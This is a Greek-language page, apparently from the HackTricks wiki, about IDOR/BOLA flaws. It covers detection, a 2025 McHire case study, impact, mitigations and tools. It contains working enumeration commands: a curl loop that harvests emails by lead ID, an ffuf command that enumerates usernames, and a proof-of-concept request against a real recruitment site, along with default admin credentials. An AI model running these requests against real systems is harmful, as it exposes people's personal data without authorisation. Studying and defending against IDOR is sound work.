mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
107 lines
7.7 KiB
Markdown
107 lines
7.7 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωριστικό που ελέγχεται από τον χρήστη και ο οποίος χρησιμοποιείται **απευθείας** για πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών έχει εξουσιοδότηση** να έχει πρόσβαση/τροποποίηση σε αυτό το αντικείμενο.
|
||
Η επιτυχημένη εκμετάλλευση συνήθως επιτρέπει horizontal or vertical privilege-escalation, όπως το να διαβάσει ή να τροποποιήσει δεδομένα άλλων χρηστών και, στη χειρότερη περίπτωση, full account takeover ή mass-data exfiltration.
|
||
|
||
---
|
||
## 1. Εντοπισμός πιθανών IDORs
|
||
|
||
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**:
|
||
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Ερώτημα: `?id=42`, `?invoice=2024-00001`
|
||
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* Κεφαλίδες / Cookies: `X-Client-ID: 4711`
|
||
2. Δώστε προτεραιότητα σε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Σημειώστε πότε οι αναγνωριστικοί είναι **σειριακοί ή προβλέψιμοι** – αν το ID σας είναι `64185742`, τότε `64185741` πιθανότατα υπάρχει.
|
||
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. σύνδεσμος *"Paradox team members"* σε σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
|
||
5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης συνήθως είναι ένδειξη IDOR.
|
||
|
||
### Γρήγορος χειροκίνητος χειρισμός (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Αυτοματοποιημένη enumeration (Burp Intruder / curl loop)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
|
||
### Error-response oracle for user/file enumeration
|
||
|
||
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. `/view.php?username=<u>&file=<f>`), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
|
||
|
||
- Μη υπάρχον username → "User not found"
|
||
- Κακό filename αλλά έγκυρη extension → "File does not exist" (μερικές φορές επίσης εμφανίζει διαθέσιμα αρχεία)
|
||
- Κακή extension → validation error
|
||
|
||
Με οποιαδήποτε authenticated session, μπορείτε να fuzz το username parameter ενώ κρατάτε ένα benign filename και να φιλτράρετε με βάση το "user not found" string για να ανακαλύψετε valid users:
|
||
```bash
|
||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||
-b 'PHPSESSID=<session-cookie>' \
|
||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||
-fr 'User not found'
|
||
```
|
||
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη εγγράφων άλλων χρηστών και credential leakage.
|
||
|
||
---
|
||
## 2. Πραγματική Μελέτη Περίπτωσης – McHire Chatbot Platform (2025)
|
||
|
||
Κατά την αξιολόγηση του Paradox.ai-powered **McHire** recruitment portal, εντοπίστηκε το ακόλουθο IDOR:
|
||
|
||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||
* Authorization: user session cookie for **any** restaurant test account
|
||
* Body parameter: `{"lead_id": N}` – 8-ψήφιος, **σειριακός** αριθμητικός αναγνωριστής
|
||
|
||
Μειώνοντας το `lead_id` ο ελεγκτής απέκτησε αυθαίρετα το **πλήρες PII** των υποψηφίων (name, e-mail, phone, address, shift preferences) καθώς και ένα καταναλωτικό **JWT** που επέτρεψε session hijacking. Η καταμέτρηση του εύρους `1 – 64,185,742` αποκάλυψε περίπου **64 million** records.
|
||
|
||
Proof-of-Concept request:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον δοκιμαστικό λογαριασμό, η ευπάθεια οδήγησε σε κρίσιμη παραβίαση δεδομένων σε επίπεδο εταιρείας.
|
||
|
||
---
|
||
## 3. Επιπτώσεις του IDOR / BOLA
|
||
* Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
|
||
* Κάθετη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργίες μόνο για admin.
|
||
* Μαζική παραβίαση δεδομένων αν τα αναγνωριστικά είναι διαδοχικά (π.χ., applicant IDs, invoices).
|
||
* Κατάληψη λογαριασμού με κλοπή tokens ή επαναφορά κωδικών άλλων χρηστών.
|
||
|
||
---
|
||
## 4. Μέτρα μετριασμού & Καλές πρακτικές
|
||
1. Επιβάλλετε εξουσιοδότηση σε επίπεδο αντικειμένου σε κάθε αίτημα (`user_id == session.user`).
|
||
2. Προτιμήστε έμμεσα, μη-μάντεψιμα αναγνωριστικά (UUIDv4, ULID) αντί για auto-increment IDs.
|
||
3. Εκτελέστε την εξουσιοδότηση server-side, μην βασίζεστε σε κρυφά πεδία φορμών ή ελέγχους UI.
|
||
4. Εφαρμόστε ελέγχους RBAC / ABAC σε ένα κεντρικό middleware.
|
||
5. Προσθέστε rate-limiting & logging για να ανιχνεύσετε την enumeration αναγνωριστικών.
|
||
6. Κάντε security tests σε κάθε νέο endpoint (unit, integration, και DAST).
|
||
|
||
---
|
||
## 5. Εργαλεία
|
||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||
|
||
|
||
|
||
## Αναφορές
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||
{{#include ../banners/hacktricks-training.md}}
|